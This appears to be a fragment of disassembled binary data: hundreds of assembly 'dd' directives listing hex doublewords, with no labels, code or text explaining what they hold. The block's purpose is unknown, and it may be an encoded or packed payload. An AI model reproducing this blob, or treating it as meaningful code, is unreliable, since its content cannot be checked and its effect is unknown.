		dd 5756D72h, 0D7756DF2h, 0D7866166h, 0D7F751ADh, 0ADD6849Ch
		dd 4D67D7A7h, 0EA6DE8C6h, 569ACD7h, 50C32DE5h, 0C6845120h
		dd 0A0C73143h, 2DDA05E8h, 7166F7F7h, 0AFAD93F9h, 5288AD7h
		dd 0E7073BCDh, 0D80741A6h, 0B4E76113h, 2DB332E0h, 516BC711h
		dd 0E06DADD9h, 0B96D64E7h, 0D7342D4Ch, 97F97166h, 8AD710ADh
		dd 3BFBC50Ch, 65656032h, 0BBADEDC5h, 7C75AAC7h,	30E8ADBEh
		dd 0F3C5EC73h, 0A7E7F8F3h, 42E1C555h, 6529D7DFh, 573DDC4h
		dd 0C555A9E7h, 72C98ADAh, 0EE45975Dh, 0A00806ADh, 73CB84E8h
		dd 616B6121h, 1A2DDA46h, 46FC2AD7h, 0C72BEDE0h,	0D684412Ah
		dd 17D7E1ADh, 73B92FB4h, 69E1E722h, 0F72DC586h,	0C741A5B1h
		dd 0E70BEDE1h, 4F7F3483h, 0E9615D72h, 0AD117E5Dh, 716DF7AFh
		dd 27EDAEC2h, 0C669ED51h, 0E72BEDE1h, 0E6046969h, 6BD76776h
		dd 0F5A73865h, 885BC7D7h, 182DE585h, 0C74168E7h, 0C705EDEAh
		dd 0A27D79E9h, 2AD7E42Dh, 0AD90E271h, 0A8CFF753h, 0EAAD745Eh
		dd 9AF8C670h, 0E7EAAD91h, 0AA7B0CDBh, 69D705EDh, 0B3CB0659h
		dd 6168E72Fh, 17ED9EC1h, 0C60088F7h, 101EF4C7h,	853A6D25h
		dd 68F72BDCh, 2DE58549h, 0FC1AE718h, 0B46DA6B8h, 0E16565E7h
		dd 0BD252DA7h, 0D0C5496Dh, 60D797ADh, 0CCEE8459h, 652BE785h
		dd 0CBEDE185h, 0A12C5670h, 0F786B7A9h, 0DE0665AEh, 6D10892Dh
		dd 6DE8C65Dh, 6126D7E4h, 0DB34E484h, 85456BE7h,	91A27AD4h
		dd 0F64645A9h, 0F3E7246Dh, 709A1FD8h, 6DAD937Ah, 1A7AB4C3h
		dd 4F4F480h, 41DFEDC6h,	0CDC5E8B9h, 83D7F13Bh, 2DB3B7B4h
		dd 6D62C7DFh, 0E4EDA4C3h, 84412EC7h, 62723AC2h,	0D08440B5h
		dd 0AD7179ADh, 0F3736049h, 0BCFAF7B8h, 5A6D9400h, 44452AD1h
		dd 0B1FDB4ECh, 0A27FD63Eh, 61F75E33h, 0ED71E359h, 0E275123Bh
		dd 7D03FF84h, 45656383h, 0F72FADFBh, 9FA86CB9h,	0A5E7B82Dh
		dd 2D8EA175h, 6DEDD735h, 52EDA53Eh, 4B48A10h, 93B8EDD3h
		dd 0BAF9696Dh, 99610333h, 0BABF6098h, 71659149h, 0AEB4F5C4h
		dd 6C7F581h, 910B7CFFh,	0E985616Bh, 0DBD7A6FFh,	0F4FAC780h
		dd 44FEB165h, 19ADD0C4h, 6D4B9D7h, 0B59E24C0h, 0CE8448BAh
		dd 0EA3270EDh, 0AD2E025Dh, 55E67F64h, 0F86DA8EDh, 655ADC7h
		dd 0D7FA6DE8h, 0EB0655ADh, 84F760D7h, 2DAEB9FEh, 69EBC711h
		dd 6D2DCBC7h, 6D4D2B5Bh, 0D766E7D7h, 0A623F246h, 30A967A7h
		dd 0EDE345F4h, 75A072CBh, 0FB4C785h, 8545A132h,	0F7DFADF7h
		dd 7DEE65A1h, 68D7842Dh, 0EDEA8441h, 6121F7C4h,	30B4C5C5h
		dd 878C9DE7h, 0D7DF2DD9h, 93C36D67h, 67D73234h,	74D80645h
		dd 616AF7D2h, 87F6B5C2h, 66522F7h, 0F7002DCDh, 0A840512Ah
		dd 0F4F7E1ADh, 6DE8C6FCh, 0C70BD780h, 0D62DFE46h, 85F43C93h
		dd 0F7C46DECh, 746E59AEh, 95E715F4h, 3FDE46C4h,	55E9D7DFh
		dd 826D61E9h, 0E49ABE7h, 91B83CA1h, 0CDC6BC8Bh,	4AD7732Dh
		dd 0ED8E426Ch, 59A941B4h, 826DEDC5h, 0BED0F3E7h, 20EED661h
		dd 91594D64h, 0E16F5E6Dh, 6D98F47Dh, 0F4744D1Eh, 69C7F506h
		dd 430C801h, 0D707EDE2h, 992071A5h, 82E71F2Dh, 6DE884A4h
		dd 792DB1A4h, 0B12DD9C4h, 85556BE7h, 0B1BE2DD9h, 0E0844160h
		dd 8381C274h, 6DE8C790h, 58BF0D62h, 0FDEDE006h,	454160B1h
		dd 0E72AF4C8h, 0F604F01Ch, 69910DEDh, 0ED3A8955h, 0C0052343h
		dd 0A0ADD984h, 6D752AD7h, 0B17E6683h, 0DEC4E096h, 7DF71F3Fh
		dd 74BA6DF4h, 61A5213Ch, 0C07FE905h, 0C741A279h, 0F7D933D4h
		dd 8DEECBBDh, 9DF78C2Dh, 0EDA9EE68h, 7D2D3DA3h,	0D6AD68C9h
		dd 826125ADh, 0AD53074Ah, 0C5C4792Eh, 0A5E7FFB4h, 4F7C56Dh
		dd 0C3780D62h, 81F9F447h, 62FC4BB1h, 2084735Bh,	0DD075DA4h
		dd 0E1D7FA2Dh, 0ED71BB4Dh, 0BFE6ECE9h, 3E2DCD84h, 0A2CD39E7h
		dd 0E7FBB1A0h, 79DA92A7h, 0BDBDD1B4h, 2D9D2350h, 6C96ADD5h
		dd 4A7EE046h, 0AB65E462h, 7021818Eh, 9320E0B9h,	0EFC7DFEDh
		dd 1CAA004Dh, 0E778CC3Fh, 0ECC9C105h, 8576B0D7h, 0BDBDF7EDh
		dd 0A0B1FBBDh, 0AAD7DE6Dh, 6D197451h, 0C4BDB3FEh, 0D97CD885h
		dd 0C793A343h, 0F7DF49DDh, 0A1004DEDh, 0E9F7D809h, 1ACD61Bh
		dd 4D63B1D2h, 1BB98C00h, 87AB2353h, 0D7E109E4h,	0E285F4B9h
		dd 48DE982Dh, 2DCDC564h, 6CF8818Eh, 81F08CFCh, 0AE7167A1h
		dd 0D7C6EDAAh, 9EC871ECh, 0B9D712EDh, 0EDA1F1F4h, 0F0BAC7C3h
		dd 4BEDB120h, 74564B1h,	81A0BEE0h, 0DC04B0B5h, 0A4E7BC70h
		dd 0ADAC3D7Dh, 71A2A2EAh, 3DFBD506h, 0C4612DF7h, 0E7912DDAh
		dd 0D0C4656Bh, 0AACED4BEh, 2DAD2E2Bh, 55EAC7DFh, 0BDA0BCC2h
		dd 0E955EBA8h, 0A181F063h, 0CDC66164h, 0A2E7622Dh, 39E1456Dh
		dd 0BC87C7BFh, 0A46D61B5h, 6716BE7h, 0F4D83CE4h, 0E907BCB3h
		dd 0F1B3813Ch, 6D43E1B7h, 4125D737h, 99ADC8C7h,	29F2F9C4h
		dd 0D75B6D90h, 93CEE71Ah
		dd 0EA8D5351h, 0E1F7C471h, 0DB78CE98h, 2C38FE86h, 74435F4h
		dd 0E761EDC1h, 0FAC70CF4h, 63BDFDADh, 2D94A1A2h, 4522EC3Eh
		dd 0D939BAD2h, 84A41663h, 3165ADE2h, 0CE07516Dh, 0A3F7DF81h
		dd 8983D245h, 1A6EF7D9h, 7BCBC805h, 2655ADF0h, 0E76E9188h
		dd 0A7D32479h, 81C786FEh, 6DC44687h, 0D805E260h, 5C6DE0C5h
		dd 86DF91F7h, 0C71D2DE4h, 0A3DD79E5h, 647A298Bh, 48F30628h
		dd 51EAF7DCh, 84ED0274h, 93864433h, 0F79E2DB9h,	0A2AB2723h
		dd 6FD7DF43h, 2D499D7Dh, 70339C80h, 0BF7BB8E9h,	0C5796BE8h
		dd 0D73138EDh, 0D748DCCh, 66C7C42Dh, 5B8B4065h,	656B6A01h
		dd 7913FC04h, 8417E854h, 0A1813BFCh, 0A5DE45A1h, 94E745Bh
		dd 7462D9E0h, 59AA5A70h, 502DCD86h, 5C6C48D7h, 937B33BDh
		dd 0DE8649E6h, 22F71BEDh, 0CE18579h, 388E80E4h,	0D96D5A5Dh
		dd 85756B53h, 0FABFF2D0h, 0D58592F9h, 2E01C73Fh, 0FB62B571h
		dd 55E05C04h, 0F4ADBDA2h, 3F2753E7h, 0F777BA54h, 54FFA692h
		dd 92F7EABAh, 0BA54748Ah, 0B292F76Eh, 0EDBA543Dh, 0BD8A92F7h
		dd 0F761BA54h, 0ADA32092h, 0D27A3EADh, 0BAD0C520h, 0A30CAB16h
		dd 282D8A18h, 8544FCE0h, 0A1F224C0h, 0CF779B39h, 62F7DFA1h
		dd 0A3A56859h, 7563E8BEh, 0E474B4C1h, 86898080h, 71E6BEE0h
		dd 0EE845DA2h, 0E9F75A6Dh, 0A3CB4679h, 26CC5416h, 272D84C1h
		dd 9EE1F64Ch, 0E7EB2D1Bh, 0F5BF6808h, 30D75FDAh, 0E4BE9154h
		dd 7122F7DFh, 0CAD5141h, 0D2ADD0C7h, 0F28B2D40h, 0A5BD9A93h
		dd 5FC73094h, 0E3A29A1Ch, 0D63F32CBh, 0E47C4CE1h, 451718C7h
		dd 0B1DF34C0h, 9DA47D61h, 6DD7E2ADh, 0EDC10455h, 4DA5E0FFh
		dd 5BEDCEC7h, 85756DD7h, 0D7E9B6D7h, 0D2867D66h, 0E2C726ADh
		dd 0ADEC856Dh, 0D4B9D705h, 9EAD98F0h, 0E2D8C5C7h, 0A1D82DA6h
		dd 0DD4649E1h, 69E7052Dh, 2D96EA49h, 4965C71Fh,	0F7EDF4C7h
		dd 0C661EDD7h, 0F75134CAh, 0CDC57DA2h, 0E1E759FCh, 2DA60245h
		dd 7562E7F7h, 0ECADA9EDh, 5D406D7h, 51BE6DE4h, 0ABAD69EAh
		dd 1BF705BFh, 74848CB8h, 7922F7ABh, 72DBC6Ah, 4C75EAC7h
		dd 0D72BAD7Dh, 0F70475A9h, 0BA23B8ADh, 0EDA983E4h, 45E691C1h
		dd 462DE946h, 0C64CC9F7h, 0D79B2DE4h, 6CEF6124h, 0A1F705EDh
		dd 0EDA6F455h, 69EDD716h, 2BEDE1C6h, 0AF4D29D7h, 0D76677BCh
		dd 0C4C571E2h, 6BD73474h, 74C4C56Dh, 71A5C7A5h,	2B7F896Fh
		dd 4C5D69E7h, 61F83C9Fh, 9DAC41E9h, 0E9F7252Dh,	0F4E1C569h
		dd 49EEB20Eh, 882DE2C7h, 2DED4745h, 0D773C7DFh,	0E6847406h
		dd 0A05F37A7h, 0A7FCAC61h, 6843F7E4h, 1A2DEFC7h, 0C65967D7h
		dd 0E710EDCEh, 9E636083h, 3E757EDh, 0EDE404FCh,	4567F734h
		dd 0D13F7E2Ch, 227442D7h, 615F3783h, 0F4EF41E1h, 8CF70E7Fh
		dd 0ED9C2276h, 0F404F7F4h, 7EEDE904h, 469E721h,	0F7F5EDE2h
		dd 0F84455E8h, 0AAE7B8F7h, 7CFB7A45h, 65E97180h, 2AEDE746h
		dd 46840595h, 0C7A7EDFFh, 0C18443DEh, 35C72AB3h, 3616C024h
		dd 75E0D714h, 452D8D09h, 2A24BCF7h, 0BB2771A1h,	0AA2D75A1h
		dd 0ACC7DF2Dh, 63DE067Dh, 45A991E1h, 0F8EDF546h, 0C6DA352Fh
		dd 0A2E792E6h, 49D15C36h, 3103F8EDh, 0ADF684E9h, 6962137Ah
		dd 0CEBE86C0h, 2A752911h, 0E7662D8Dh, 0EDC74892h, 0D9F730F4h
		dd 0AD7F2891h, 0D71D2CC8h, 0EF7E5FE1h, 0A14492E7h, 1F90ADA5h
		dd 0B20BCF76h, 9E19FD2Dh, 2DF54644h, 0D39183A6h, 8EDE804h
		dd 0B4DA80Dh, 33FD6D9Fh, 89686960h, 0EE03F9F7h,	0AD1BF565h
		dd 0ECF7D4E7h, 0E68943B5h, 5D41299h, 9567BEC5h,	0DC460465h
		dd 0A013FD6Dh, 2DCD8469h, 44B7F76Ah, 1FEDB1A1h,	0AA7167F7h
		dd 0D8E5FBCFh, 0EC855922h, 0E0F7F1E1h, 89FD85AAh, 68BDC7E6h
		dd 0D134D186h, 0B1696EA3h, 21F82D4Eh, 0ED4575A2h, 6BEC83EDh
		dd 0CCC08559h, 7DA231F7h, 0E479FC85h, 0A97D6DD7h, 1179EDA9h
		dd 0DF04B6EFh, 875F21FFh, 0ADF48460h, 7DE65D6Eh, 0BA6DEC06h
		dd 0C47D6AE7h, 0F7E4ADCFh, 0B3EC752Dh, 26D71E00h, 6DA28C6Dh
		dd 51E0D7E3h, 0AB79A363h, 0CCE841C7h, 0F761AD90h, 0B03FFFFCh
		dd 6BE7DAADh, 7BF58675h, 6167CC8Bh, 0C1B7A121h,	0E8E313ADh
		dd 0F250D4B0h, 0F5C788AAh, 3DA1DEEDh, 0EDBBCD88h, 0C0C4B1D9h
		dd 0DBADD0C7h, 4685A8E7h, 0FC526DF0h, 0A22251A1h, 0ED9D1671h
		dd 0F7FBC679h, 6DE4E71Ah, 1F6DE204h, 494528D7h,	21A90275h
		dd 0E4E14DEAh, 0AAE7EEF4h, 9E40E171h, 74FCF770h, 82C4A9ABh
		dd 28B86883h, 0E760F4E4h, 0E7E14CB5h, 2AE7E9A2h, 8BBB000h
		dd 4128C718h, 58ED3E21h, 0C43C68F7h, 0C25271E4h, 9C8267B2h
		dd 24E7F400h, 6D9B8B55h, 9776F7F3h, 7F69A4Dh, 0C76165E7h
		dd 0F7E52DDCh, 0EA84783Ch, 0EBD745EDh, 38BE9775h, 0D8B7F7E1h
		dd 106DE2C5h, 8483D8F7h, 0F786EDE4h, 0F48559E1h, 67D71F2Dh
		dd 2DE4C649h, 41A5F7DFh, 0D8ADE8C7h, 86D434F7h,	0E7867BE4h
		dd 0F4C56162h, 6A6135ADh, 2DCA8661h, 4120F787h,	24AD9F36h
		dd 0C4E71372h, 0E718EDE1h, 0E5854968h, 2AC7AC2Dh, 2DA500F4h
		dd 496DF725h, 37C3A2BFh, 0C6F82AD7h, 0E7826DE8h, 7D547DEAh
		dd 456181C3h, 0C3D306DCh, 44F1D7DFh, 24ADF746h,	0D4B8426Ch
		dd 0F7DF2D36h, 499C6963h, 0E73B7B2Dh, 0FCEA7C69h, 781DE7D1h
		dd 0FF76719Ch, 4435C4Ch, 0D715C3FDh, 4D7C475Dh,	0C3D72F2Dh
		dd 2D460895h, 0C7B4C759h, 0FA53E085h, 0C1C040BCh, 2E78B8Dh
		dd 5D9CC6B3h, 7CE7DCF3h, 0ADE34644h, 0FADC2DAh,	252D86E8h
		dd 44CCB7F7h, 6E6E30D3h, 0CCC6E8F4h, 4BC7507Ch,	7CA38104h
		dd 0F440F78Bh, 68ADEC06h, 87616B64h, 2647BCAh, 5BFC9D81h
		dd 80420EADh, 6D70BC9Dh, 91432E2Ch, 0BBE2D2C4h,	8B85CD74h
		dd 3CE06D00h, 0B241A18Ch, 122428ADh, 4BCAC55Bh,	918EF7E0h
		dd 9623E03Fh, 46A78874h, 0C7DFBEC5h, 870155E2h,	4BC7261Bh
		dd 2DFE0528h, 59E0D735h, 8EF42F5Eh, 6547F3Ch, 581A7CF8h
		dd 0BCE14DEEh, 1F3F0703h, 0BCE6861Bh, 5D223374h, 5DE6D7C4h
		dd 4606800Eh, 0C769ADEBh, 80968C0h, 0F5B3A442h,	0EDD04647h
		dd 0C5B5B526h, 0E22D0D81h, 207C35D7h, 0B5E3ED81h, 0C60755ADh
		dd 721F3B2Dh, 2D529EC0h, 0E392F799h, 0D4DC3FC1h, 0CB41ABD7h
		dd 2FF8764Ah, 0AC289A40h, 0A8AF32EDh, 5EEC4659h, 0C2349DE7h
		dd 0BDD3DCC7h, 866730D7h, 0A5C12DC8h, 625B537Ch, 0B5A58FADh
		dd 2DCCC6C7h, 0C73D8B71h, 32ADDD46h, 84516D93h,	0BB962DDDh
		dd 0FDC7B199h, 0B0A3322Dh, 0B3E8C6C8h, 6E3DECB1h, 0D6F42302h
		dd 1E696BD7h, 0C7612D4Dh, 0A1E034B3h, 7963E5ADh, 2D25CD4Eh
		dd 0EEC4D79Ch, 4AD3BC26h, 0C7416562h, 0C787EDE3h, 0E1C534BAh
		dd 0F0E78632h, 37A5DDD3h, 0BF38F70Bh, 62DB78Dh,	0C5C406B3h
		dd 0BC4CEDE0h, 76DD300Bh, 848024BFh, 7CEA077Ch,	0BFE6D731h
		dd 0E6EDE1C4h, 565E891h, 63C5F4F5h, 0E3C7512Ah,	356DFF6Dh
		dd 7FEFC6E8h, 0E8CD339Ch, 41D7AF42h, 0AD30AC61h, 0A306AD5Bh
		dd 37E160C5h, 80136E77h, 0FFB3C850h, 0CE8EF73Dh, 247737A1h
		dd 0C4D20FC7h, 7FA157D0h, 0CBC544CCh, 8EF72857h, 7F740DE2h
		dd 0E3843335h, 7957D045h, 0C67DEDBFh, 0D767EDE1h, 0AEADFB17h
		dd 0B1A306EDh, 6DDAC4C4h, 0BC695DFFh, 7014D706h, 0C7D035E7h
		dd 13A9EDDFh, 9A09D605h, 0C639F5ADh, 0AD9409D7h, 0D7F539F5h
		dd 0F5AD8609h, 9D73919h, 9F5ADB0h, 0A209D73Dh, 5713F5ADh
		dd 0FE198E68h, 0EED1E768h, 0EFFE5920h, 63DED1E7h, 0E763FE59h
		dd 59E1C6D1h, 9DC7E6FEh
		dd 71E80567h, 45A5F71Fh, 8EEDE207h, 8488F173h, 0A87108E6h
		dd 42D11633h, 0C1F75E6Dh, 50A615B3h, 0BEE351BCh, 9A4B2E30h
		dd 0EF605BD7h, 3999EDB1h, 0C085E4CDh, 65E7A20Eh, 807C5330h
		dd 0BF683D19h, 75EDDC87h, 0F265E7ADh, 8473A0F7h, 0E80500F3h
		dd 0E023D9C9h, 0EDF5C4B2h, 5C5B51E3h, 70C82CD4h, 814963F0h
		dd 0D0702694h, 0F17449A5h, 0DA1D1A60h, 0ED42D5FBh, 89FF933Bh
		dd 49068553h, 1579658Ah, 0CEAAED49h, 0E1456563h, 0A9D2697Fh
		dd 3FACEE69h, 6D66E0D2h, 0ECAD83C0h, 0EABBABC7h, 0E70506B1h
		dd 0F644552Bh, 0A171E5ADh, 2DCD8775h, 79EBC7F2h, 0DF344450h
		dd 1645A231h, 0F7DE3196h, 0D004D0B5h, 6AE79831h, 0ADC0C728h
		dd 41E5E7DAh, 7FADFC84h, 0C490C9F7h, 51C42DDEh,	0EA8459E4h
		dd 64F748EDh, 0F3F1C569h, 69E4A0ADh, 0C72DF6C5h, 0C661E4E7h
		dd 0F7E72DCFh, 0EAC44561h, 0A0F787ADh, 0ADD00655h, 7D6DD7DFh
		dd 6AEDDEC5h, 84492051h, 0D7A4ADD6h, 0E5457DEDh, 671197EDh
		dd 0B7A02D5Dh, 0ACB592E3h, 52AD5235h, 8AABABCCh, 0D7F2314Bh
		dd 0E5055DEDh, 0A5D7F8EDh, 6FF0745h, 49A01111h,	0ECADDBC7h
		dd 45166F7h, 0E778EDE9h, 0FD8469E3h, 26F733F0h,	2DE24588h
		dd 8447C730h, 0DF81D105h, 4551E8E7h, 0F7A5F4F5h, 0CCC54522h
		dd 0EA9038EDh, 2DCD47B4h, 65EBF78Bh, 407FA040h,	9349E8BCh
		dd 0A2A7ED4Dh, 0EA84A07Ch, 6D1004C0h, 0EDD60649h, 0C34F797h
		dd 0C7EDF5C7h, 659A0F7h, 0E7552DDBh, 0C20451EDh, 0A2B0EEF3h
		dd 0ADE4C57Dh, 4966D7F7h, 1FADD7C6h, 365966F7h,	0D78CAD92h
		dd 9ACF6160h, 0E284C480h, 0ED8ED351h, 0ABB038h,	14B0D1C7h
		dd 0AA692011h, 0E7B487FFh, 9D306D64h, 0A461AAEDh, 2DE2C769h
		dd 59E9F724h, 86EDE646h, 0C54961E7h, 0C716EDDEh, 0DDC54DA2h
		dd 0FF7646Dh, 6DF04640h, 69E0D2E7h, 2F2DAA69h, 444D69E7h
		dd 0F733EDE7h, 0DE06D841h, 0A9C715EDh, 0FCAC2A6Dh, 412CB057h
		dd 0F0FCEC06h, 47D6A61h, 0F707EDC1h, 0D68555A2h, 0E5F0A931h
		dd 0EDA8E155h, 416DC266h, 986DA1FCh, 4756030h, 0E7C72DCCh
		dd 0D08551ADh, 66D735C3h, 0AD97626Dh, 93E4E7D2h, 0A3C399BCh
		dd 0BC51A9C2h, 0E7D27F33h, 0AE096127h, 64E7BA6Dh, 91940A61h
		dd 8B7DE7E6h, 0FF3FEC87h, 754B40F7h, 0C269FC6Ch, 0AFFC41A9h
		dd 0A6D7A2F1h, 0ED4DE06Dh, 4160D2AAh, 7087FC32h, 6456DD1h
		dd 0D7286DEEh, 0F5C67DEDh, 0E5D75EF3h, 0F1F40541h, 65A7C738h
		dd 0A3F369B5h, 0C5E4B5CCh, 0A32735DBh, 9ACE4161h, 0ED100B0Bh
		dd 3BB7D545h, 8B04A2BFh, 0C5ADD246h, 7E692EF7h,	0F7B8ED65h
		dd 0A4F97563h, 0E572DCEDh, 0ADC50471h, 7560702Fh, 95F395EFh
		dd 0C559A2C7h, 0F7CA6DE5h, 647E6925h, 0E1F7A477h, 2DED0549h
		dd 4DEAF779h, 6D6DE1C7h, 0BC7DE13Eh, 0D72BAD90h, 0F884716Dh
		dd 6DF79500h, 6DE8C56Dh, 0BC84C7F1h, 2FADD286h,	39E4B5F7h
		dd 0F7E44822h, 449F0CCDh, 0E3FC6913h, 84E7057Dh, 6399D7E3h
		dd 0B0EE8C5h, 0FE89C954h, 0D76D3BF6h, 0E9BE9988h, 4BC704F4h
		dd 0ADDE04B1h, 18D564DBh, 0BDE2E144h, 50494C7h,	3C266DE8h
		dd 0FC847DA2h, 7328ADE2h, 0F20F7980h, 4DE2D756h, 77A2E739h
		dd 0C49ED004h, 473EDCEh, 0CE4685D3h, 13F7A86Dh,	1EF638B1h
		dd 708AE7E1h, 4AF9BC7Dh, 0D545EDF7h, 422726BBh,	0A882E416h
		dd 0FFE7346Dh, 0B46B0A2Ch, 71A275F3h, 16D62A0h,	6F4B45Fh
		dd 8FF62DDCh, 0F084D873h, 81A1ACBCh, 0ADEDC6BCh, 6965C7FBh
		dd 0B26DD9C7h, 6A873AFh, 0F7F36DE8h, 0E9C45DE5h, 72F78844h
		dd 996AA3F3h, 86ACD717h, 59EDF246h, 2DE4B5D7h, 0C7FAADBCh
		dd 4E619073h, 0DAF77F2Dh, 32F0C47Eh, 4C709FFBh,	0CA7E5243h
		dd 744737Dh, 0D707FFC1h, 0A14A5DA5h, 6B60E170h,	0B7E2C569h
		dd 0E3FB73F6h, 0EEC4EF84h, 75CB0F7h, 0B3D184D7h, 57A1D3FBh
		dd 5F7E86Dh, 0C478E04Fh, 7044D70Dh, 0EFED9D61h,	746D8B1h
		dd 0F760EDD1h, 99E41065h, 0ABA9F4E4h, 84758B65h, 7D6BE7C7h
		dd 322DD5A0h, 0A1696EAFh, 7D73304Ch, 72EEE8F2h,	0D3D7DFF4h
		dd 0ADF2EE7Bh, 0F70849F9h, 3B2D968Eh, 2C65E1BBh, 13680711h
		dd 8E404312h, 5549F9EDh, 4E8908D7h, 4DA4B3BFh, 0F9FE8E8Ch
		dd 8048D7A3h, 3FB92DA9h, 0FC065473h, 7DF29CFEh,	2DFE05E8h
		dd 4165B107h, 766DF905h, 675A26Fh, 72F5ADE5h, 462EEF7Dh
		dd 84615B87h, 6DECC5A0h, 492AE7B6h, 883F97A3h, 0C9D702E7h
		dd 0B1A58FABh, 656C69ACh, 0EAE7CD31h, 0F33F234Dh, 416BBDAEh
		dd 0FAD7E9C5h, 696C705Dh, 0F7D26D20h, 5D0A71EAh, 29D7DF2Dh
		dd 0BCE94649h, 0C1517980h, 30BEB84Bh, 8851EE3Fh, 0B3D19EA6h
		dd 0C4A8E70Fh, 0E5DCF097h, 86D94655h, 0E7B8E7DEh, 0DF2D99A0h
		dd 4E7DABE7h, 93D19E84h, 0C768DFC9h, 0D231C266h, 0F4006CE3h
		dd 37ACE7F6h, 1C2D4D6Bh, 84400FC7h, 933874D9h, 0B5AA5871h
		dd 0E4D7FAADh, 97046A61h, 4DE5C7DFh, 0EF2D8E8Ch, 6BEE97D7h
		dd 3F4E3139h, 0B5E0DBDAh, 4213122Dh, 2DFC4647h,	0A8B4435Ch
		dd 780FFEE8h, 0C6477F9Dh, 0D7272DCDh, 5486B52h,	7AD754D1h
		dd 2D4D2AE0h, 588BC7DEh, 622D9962h, 0C452DBFAh,	8D5E81CFh
		dd 0D706D475h, 0C5F87D24h, 2DC38773h, 0EA0175E7h, 0E2F4FA84h
		dd 0CD51E6C7h, 0C28E8676h, 14376125h, 0E5E28E86h, 3FB51761h
		dd 182F3B84h, 0A6EDD446h, 57D3C95Fh, 0D8522D84h, 0B657D3C3h
		dd 9FE8522Dh, 2DA057D3h, 0D302E852h, 526D9257h,	57D38CD8h
		dd 0E2526D8Ch, 9B228FE8h, 6CE7DFD1h, 614B65Dh, 756DC28Eh
		dd 69FC4251h, 0B6ACF35Bh, 0C7996DAEh, 0D7C77DAAh, 0A5102184h
		dd 2D8C6145h, 6524C77Fh, 47709EA1h, 0C56963E7h,	0E748EDEAh
		dd 8B2241E0h, 62E74737h, 6DEFC579h, 79E5C7F7h, 0FBB0C884h
		dd 0C74DA4F7h, 0F764ADFDh, 0ED4661E9h, 69C727EDh, 0B088D36Dh
		dd 0A8BDF7E1h, 7EF5EB05h, 0A96165B0h, 0A0BE2DBDh, 0E4C57161h
		dd 0BDE71D2Dh, 78FD8680h, 73CE7E4h, 29ED6E70h, 0C57520C7h
		dd 0E7B26DECh, 0AF307928h, 33BE45EDh, 48E7C504h, 4121C729h
		dd 0A6ADB5D3h, 46E4D4F7h, 0D72680CDh, 0DDC59CB2h, 0F9F7E660h
		dd 0EDD6C516h, 656DC751h, 0A1EDF604h, 9345AB21h, 0E747EDB4h
		dd 0E4856DE0h, 0BDE75D2Dh, 78FD86A0h, 77AE7E1h,	29ED7270h
		dd 8565A0C7h, 0F7B06DECh, 0F3C484F1h, 299C45EDh, 0EDB11049h
		dd 0B4B94EE0h, 0A3B8DE85h, 46D4D4F7h, 0D72380CDh, 0F1858CB2h
		dd 4F7E3E3h, 0F6F48506h, 9B73E7D9h, 62B0D285h, 851072D7h
		dd 0E7F5B0C8h, 679D7524h, 0B9C7D740h, 0F6F48594h, 5D6DD7D8h
		dd 0B5CCF6C7h, 0C661AAD7h, 0D7A42DC5h, 0E6C67DE5h, 65C79F6Dh
		dd 6DE1C559h, 40CCF715h, 0BBADECC4h, 0C569EB60h, 0E7848BD8h
		dd 0C28555E3h, 6BB044BCh, 6DEE8545h, 452DF7E8h,	756DDD86h
		dd 0FD5DE5E7h, 202B2D99h, 0B46359ABh, 69B28773h, 2DCFC661h
		dd 8C33F7E1h, 8AF5D606h, 77568E7h, 604273FCh, 0B325692Ah
		dd 4CF7C973h, 70B37090h, 752F6C8Bh, 0F9FB8F1Fh,	9F61EDE7h
		dd 0E7B86DACh, 0A9F756Eh, 0CFD7DD34h, 638C9F8Ah, 0BD4E7489h
		dd 0D42DEE07h, 4248144h, 0F7076DE1h, 0F1465520h, 0CCF7CA33h
		dd 2D41FE81h, 496BD795h, 0E2D9E5Fh, 6652074h, 748B53C6h
		dd 0A0F298C9h, 9C7D823h, 0FAC1C784h, 51E960D0h,	812D9670h
		dd 9F7D256Ch, 0F7E6ED56h, 7F1F6DAEh, 7D30EC2Dh,	82C00628h
		dd 75A27E8Ah, 0D782C046h, 0F85D207Ch, 0E7C6ADADh, 0F4062B97h
		dd 9350C0FAh, 0CA4C581Fh
		dd 516D528Ah, 5178F204h, 7E8088E7h, 0A12C2D8Ah,	51782CCEh
		dd 89D780EDh, 0FAE88433h, 844FF7C1h, 0D733F1C5h, 0BF341FE7h
		dd 3C4C729Bh, 0CC8645A0h, 4FF7D272h, 0ADB8BA23h, 89DE50DDh
		dd 4A7A919Bh, 7010CE10h, 702FADB0h, 0EC06B51Eh,	262C163Ah
		dd 0ED569A75h, 4D2CF7EAh, 52AD709Eh, 3AF8B41Ah,	93A1B3E2h
		dd 0FB4627DDh, 7502EC7Bh, 0EDB1BFE8h, 50749165h, 292DBEE1h
		dd 0A141A4E7h, 0C7D3CA8Bh, 58C01F13h, 0F022044Bh, 33ABC174h
		dd 65E6D7C0h, 76DF984h,	0FD5D68F7h, 0A1242DB1h,	0E2215969h
		dd 20B536A4h, 0A4BFB97Dh, 4D6EAB7Dh, 0BDF41C40h, 4765E060h
		dd 0E7FBEDD6h, 0BD20416Ch, 68932DBCh, 2DF3C749h, 64B4B575h
		dd 7335E5A0h, 756F385h,	0E75264CFh, 0F747F4B2h,	6D912282h
		dd 0A4E78679h, 47F08577h, 0D6AD9020h, 4516DF7h,	0B5B32DF5h
		dd 0CFC6E5F3h, 0B2E71264h, 0CD347C4h, 55A8A32Bh, 96A4A7C0h
		dd 0A0C3FEA5h, 908F9CC4h, 8920F57Bh, 72B3B36Dh,	0C79B7FE4h
		dd 0BEDB2073h, 36FC8EC0h, 0C70B9281h, 0C79533F0h, 0A8F0452Bh
		dd 19BFB77Fh, 0CF4AEF94h, 0E27C208Fh, 0C17AB3BBh, 3BEC7F6Dh
		dd 146C42FFh, 0E9045377h, 0B64D152Dh, 0B4D48677h, 0C40FF7C8h
		dd 0DEF771A2h, 0A3F5CED7h, 75972724h, 0BEADC5C8h, 0E263AF27h
		dd 0ADB56341h, 97CCF7C9h, 801BFC05h, 6A7D051h, 0D7EA82D4h
		dd 9133AA93h, 0E33AEDAh, 0FE886EB6h, 5562AD7Eh,	3CF7F207h
		dd 0BF85CC60h, 64CF63C5h, 0E53F85CEh, 0E964D723h, 23FFBEECh
		dd 0C1DD745Dh, 6566F4EBh, 0C6B65504h, 353FE2F4h, 0D4EE99D7h
		dd 0D134ABE2h, 84DBF881h, 0B11034B0h, 0B8A2C878h, 0FBB11234h
		dd 24C62D29h, 0C1BB959Ch, 0C904CE62h, 2E1E1E5h,	0AD5941A3h
